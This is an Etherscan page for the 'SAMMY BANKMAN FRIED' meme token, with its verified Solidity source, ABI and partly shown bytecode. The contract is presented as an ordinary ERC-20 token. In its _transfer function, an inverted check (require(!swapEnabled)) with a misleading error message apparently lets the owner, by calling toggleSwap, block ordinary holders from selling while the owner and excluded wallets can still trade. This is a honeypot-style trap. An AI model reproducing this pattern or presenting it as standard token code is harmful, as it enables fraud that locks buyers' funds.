ETH Price: $3,492.05 (+0.88%)
Gas: 10 Gwei

Token

SAMMY BANKMAN FRIED (SAMMY)
 

Overview

Max Total Supply

1,000,000,000 SAMMY

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,963,935.703852634358825706 SAMMY

Value
$0.00
0x143da495b2c18f4ea3a4c2a78810a4641cd44664
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAMMY

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

// SPDX-License-Identifier: NONE


/*
https://twitter.com/sammybankmanf

http://sammys.wtf/

https://sammy-wtf.gitbook.io/sammywtf/

*/


pragma solidity ^0.8.16;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SAMMY is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);
    string private _name = "SAMMY BANKMAN FRIED";
    string private _symbol = "SAMMY";
    bool private swapping;
    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    mapping(address => bool) private isExcludedFromFees;
    mapping(address => bool) private isExcludedMaxTransactionAmount;
    uint256 public swapTokensAtAmount;
    bool public tradingEnabled = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;
    address public marketingWallet;

    mapping(address => bool) private pairs;

    constructor() ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        excludeFromMaxTransactionAmount(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        pairs[address(uniswapV2Pair)] = true;
        excludeFromMaxTransactionAmount(address(uniswapV2Pair), true);
        uint256 totalSupply = 1000000000 * 10**decimals();
        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply.mul(1).div(1000);
        marketingWallet = address(0x76f92Aa0Ea27cE6aB75017A4f5a0ebC5741Db46e);
        buyFee = 0;
        sellFee = 0;
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(marketingWallet, true);
        excludeFromMaxTransactionAmount(owner(), true);
        excludeFromMaxTransactionAmount(address(this), true);
        excludeFromMaxTransactionAmount(DEAD, true);
        excludeFromMaxTransactionAmount(marketingWallet, true);
        _mint(_msgSender(), totalSupply.mul(100).div(100));
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        require(limitsInEffect == true, "The limits has been removed.");
        limitsInEffect = false;
    }

    function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner {
        isExcludedMaxTransactionAmount[_address] = excluded;
    }

    function excludeFromFees(address _address, bool excluded) public onlyOwner {
        isExcludedFromFees[_address] = excluded;
    }
function _transfer(address from, address to, uint256 amount) internal override {
    require(from != ZERO, "ERC20: transfer from the zero address.");
    require(to != DEAD, "ERC20: transfer to the zero address.");
    require(amount > 0, "ERC20: transfer amount must be greater than zero.");

    if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) {
        if (!tradingEnabled) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active.");
        }

        if (limitsInEffect) {
            if (pairs[from] && !isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount.");
                require(!swapEnabled, "Swap has not been enabled.");
            } else if (!isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            }
        }
    }

    bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
    if (
        canSwap &&
        swapEnabled &&
        !swapping &&
        !pairs[from] &&
        !isExcludedFromFees[from] &&
        !isExcludedFromFees[to]
    ) {
        swapping = true;
        swapBack(false);
        swapping = false;
    }

    bool takeFee = !swapping;

    if (isExcludedFromFees[from] || isExcludedFromFees[to]) {
        takeFee = false;
    }

    uint256 fees = 0;
    if (takeFee) {
        if(pairs[to] || pairs[from]) {
            fees = amount.mul(buyFee).div(100);
        }
        if (pairs[to] && buyFee > 0) {
            fees = amount.mul(buyFee).div(100);
        } else if (pairs[from] && sellFee > 0) {
            fees = amount.mul(sellFee).div(100);
        }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
    super._transfer(from, to, amount);
}

    function openTrading() external onlyOwner {
        require(!tradingEnabled, "Trading is already open");
        tradingEnabled = true;
        }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack(bool _manualSwap) private {
        uint256 contractBalance = balanceOf(address(this));
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (_manualSwap == false && contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        swapTokensForEth(contractBalance);
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function toggleSwap() external onlyOwner {
        swapEnabled = !swapEnabled;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280601381526020017f53414d4d592042414e4b4d414e20465249454400000000000000000000000000815250600890816200004a919062000e13565b506040518060400160405280600581526020017f53414d4d590000000000000000000000000000000000000000000000000000008152506009908162000091919062000e13565b506000601260006101000a81548160ff0219169083151502179055506000601260016101000a81548160ff0219169083151502179055506001601260026101000a81548160ff021916908315150217905550348015620000f057600080fd5b5060088054620001009062000c02565b80601f01602080910402602001604051908101604052809291908181526020018280546200012e9062000c02565b80156200017f5780601f1062000153576101008083540402835291602001916200017f565b820191906000526020600020905b8154815290600101906020018083116200016157829003601f168201915b505050505060098054620001939062000c02565b80601f0160208091040260200160405190810160405280929190818152602001828054620001c19062000c02565b8015620002125780601f10620001e65761010080835404028352916020019162000212565b820191906000526020600020905b815481529060010190602001808311620001f457829003601f168201915b5050505050816003908162000228919062000e13565b5080600490816200023a919062000e13565b5050506200025d620002516200078a60201b60201c565b6200079260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002ca8160016200085860201b60201c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000f64565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040e919062000f64565b6040518363ffffffff1660e01b81526004016200042d92919062000fa7565b6020604051808303816000875af11580156200044d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000473919062000f64565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160136000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000562600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200085860201b60201c565b600062000574620008c360201b60201c565b600a62000582919062001164565b633b9aca00620005939190620011b5565b905080600d8190555080600e81905550620005d96103e8620005c5600184620008cc60201b62000ba71790919060201c565b620008e460201b62000bbd1790919060201c565b6011819055507376f92aa0ea27ce6ab75017a4f5a0ebc5741db46e601260036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b819055506000600c819055506200066662000658620008fc60201b60201c565b60016200092660201b60201c565b620006793060016200092660201b60201c565b620006ae601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200092660201b60201c565b620006d0620006c2620008fc60201b60201c565b60016200085860201b60201c565b620006e33060016200085860201b60201c565b620006f861dead60016200085860201b60201c565b6200072d601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200085860201b60201c565b62000782620007416200078a60201b60201c565b62000776606462000762606486620008cc60201b62000ba71790919060201c565b620008e460201b62000bbd1790919060201c565b6200099160201b60201c565b5050620013db565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6200086862000afe60201b60201c565b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b60008183620008dc9190620011b5565b905092915050565b60008183620008f4919062001245565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200093662000afe60201b60201c565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009fa90620012de565b60405180910390fd5b62000a176000838362000b8f60201b60201c565b806002600082825462000a2b919062001300565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000ade91906200134c565b60405180910390a362000afa6000838362000b9460201b60201c565b5050565b62000b0e6200078a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000b34620008fc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000b8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b8490620013b9565b60405180910390fd5b565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c1b57607f821691505b60208210810362000c315762000c3062000bd3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c9b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c5c565b62000ca7868362000c5c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cf462000cee62000ce88462000cbf565b62000cc9565b62000cbf565b9050919050565b6000819050919050565b62000d108362000cd3565b62000d2862000d1f8262000cfb565b84845462000c69565b825550505050565b600090565b62000d3f62000d30565b62000d4c81848462000d05565b505050565b5b8181101562000d745762000d6860008262000d35565b60018101905062000d52565b5050565b601f82111562000dc35762000d8d8162000c37565b62000d988462000c4c565b8101602085101562000da8578190505b62000dc062000db78562000c4c565b83018262000d51565b50505b505050565b600082821c905092915050565b600062000de86000198460080262000dc8565b1980831691505092915050565b600062000e03838362000dd5565b9150826002028217905092915050565b62000e1e8262000b99565b67ffffffffffffffff81111562000e3a5762000e3962000ba4565b5b62000e46825462000c02565b62000e5382828562000d78565b600060209050601f83116001811462000e8b576000841562000e76578287015190505b62000e82858262000df5565b86555062000ef2565b601f19841662000e9b8662000c37565b60005b8281101562000ec55784890151825560018201915060208501945060208101905062000e9e565b8683101562000ee5578489015162000ee1601f89168262000dd5565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f2c8262000eff565b9050919050565b62000f3e8162000f1f565b811462000f4a57600080fd5b50565b60008151905062000f5e8162000f33565b92915050565b60006020828403121562000f7d5762000f7c62000efa565b5b600062000f8d8482850162000f4d565b91505092915050565b62000fa18162000f1f565b82525050565b600060408201905062000fbe600083018562000f96565b62000fcd602083018462000f96565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562001062578086048111156200103a576200103962000fd4565b5b60018516156200104a5780820291505b80810290506200105a8562001003565b94506200101a565b94509492505050565b6000826200107d576001905062001150565b816200108d576000905062001150565b8160018114620010a65760028114620010b157620010e7565b600191505062001150565b60ff841115620010c657620010c562000fd4565b5b8360020a915084821115620010e057620010df62000fd4565b5b5062001150565b5060208310610133831016604e8410600b8410161715620011215782820a9050838111156200111b576200111a62000fd4565b5b62001150565b62001130848484600162001010565b925090508184048111156200114a576200114962000fd4565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011718262000cbf565b91506200117e8362001157565b9250620011ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200106b565b905092915050565b6000620011c28262000cbf565b9150620011cf8362000cbf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200120b576200120a62000fd4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012528262000cbf565b91506200125f8362000cbf565b92508262001272576200127162001216565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620012c6601f836200127d565b9150620012d3826200128e565b602082019050919050565b60006020820190508181036000830152620012f981620012b7565b9050919050565b60006200130d8262000cbf565b91506200131a8362000cbf565b925082820190508082111562001335576200133462000fd4565b5b92915050565b620013468162000cbf565b82525050565b60006020820190506200136360008301846200133b565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620013a16020836200127d565b9150620013ae8262001369565b602082019050919050565b60006020820190508181036000830152620013d48162001392565b9050919050565b6130c780620013eb6000396000f3fe6080604052600436106101a05760003560e01c80636ddd1713116100ec578063a9059cbb1161008a578063c9567bf911610064578063c9567bf914610591578063dd62ed3e146105a8578063e2f45605146105e5578063f8b45b0514610610576101a7565b8063a9059cbb14610500578063c02466681461053d578063c8c8ebe414610566576101a7565b8063751039fc116100c6578063751039fc1461046857806375f0a8741461047f5780638da5cb5b146104aa57806395d89b41146104d5576101a7565b80636ddd1713146103e957806370a0823114610414578063715018a614610451576101a7565b80632ae2f121116101595780634706240211610133578063470624021461033d57806349bd5a5e146103685780634a62bb65146103935780634ada218b146103be576101a7565b80632ae2f121146102be5780632b14ca56146102e7578063313ce56714610312576101a7565b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461021457806318160ddd1461023f5780631ff8d5071461026a57806323b872dd14610281576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161063b565b6040516101ce919061209d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612158565b6106cd565b60405161020b91906121b3565b60405180910390f35b34801561022057600080fd5b506102296106f0565b604051610236919061222d565b60405180910390f35b34801561024b57600080fd5b50610254610716565b6040516102619190612257565b60405180910390f35b34801561027657600080fd5b5061027f610720565b005b34801561028d57600080fd5b506102a860048036038101906102a39190612272565b610754565b6040516102b591906121b3565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906122f1565b610783565b005b3480156102f357600080fd5b506102fc6107e6565b6040516103099190612257565b60405180910390f35b34801561031e57600080fd5b506103276107ec565b604051610334919061234d565b60405180910390f35b34801561034957600080fd5b506103526107f5565b60405161035f9190612257565b60405180910390f35b34801561037457600080fd5b5061037d6107fb565b60405161038a9190612377565b60405180910390f35b34801561039f57600080fd5b506103a8610821565b6040516103b591906121b3565b60405180910390f35b3480156103ca57600080fd5b506103d3610834565b6040516103e091906121b3565b60405180910390f35b3480156103f557600080fd5b506103fe610847565b60405161040b91906121b3565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190612392565b61085a565b6040516104489190612257565b60405180910390f35b34801561045d57600080fd5b506104666108a2565b005b34801561047457600080fd5b5061047d6108b6565b005b34801561048b57600080fd5b50610494610931565b6040516104a19190612377565b60405180910390f35b3480156104b657600080fd5b506104bf610957565b6040516104cc9190612377565b60405180910390f35b3480156104e157600080fd5b506104ea610981565b6040516104f7919061209d565b60405180910390f35b34801561050c57600080fd5b5061052760048036038101906105229190612158565b610a13565b60405161053491906121b3565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f91906122f1565b610a36565b005b34801561057257600080fd5b5061057b610a99565b6040516105889190612257565b60405180910390f35b34801561059d57600080fd5b506105a6610a9f565b005b3480156105b457600080fd5b506105cf60048036038101906105ca91906123bf565b610b14565b6040516105dc9190612257565b60405180910390f35b3480156105f157600080fd5b506105fa610b9b565b6040516106079190612257565b60405180910390f35b34801561061c57600080fd5b50610625610ba1565b6040516106329190612257565b60405180910390f35b60606003805461064a9061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546106769061242e565b80156106c35780601f10610698576101008083540402835291602001916106c3565b820191906000526020600020905b8154815290600101906020018083116106a657829003601f168201915b5050505050905090565b6000806106d8610bd3565b90506106e5818585610bdb565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b610728610da4565b601260019054906101000a900460ff1615601260016101000a81548160ff021916908315150217905550565b60008061075f610bd3565b905061076c858285610e22565b610777858585610eae565b60019150509392505050565b61078b610da4565b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b60006012905090565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260029054906101000a900460ff1681565b601260009054906101000a900460ff1681565b601260019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108aa610da4565b6108b46000611992565b565b6108be610da4565b60011515601260029054906101000a900460ff16151514610914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906124ab565b60405180910390fd5b6000601260026101000a81548160ff021916908315150217905550565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109909061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546109bc9061242e565b8015610a095780601f106109de57610100808354040283529160200191610a09565b820191906000526020600020905b8154815290600101906020018083116109ec57829003601f168201915b5050505050905090565b600080610a1e610bd3565b9050610a2b818585610eae565b600191505092915050565b610a3e610da4565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d5481565b610aa7610da4565b601260009054906101000a900460ff1615610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee90612517565b60405180910390fd5b6001601260006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b600e5481565b60008183610bb59190612566565b905092915050565b60008183610bcb91906125ef565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190612692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612724565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffff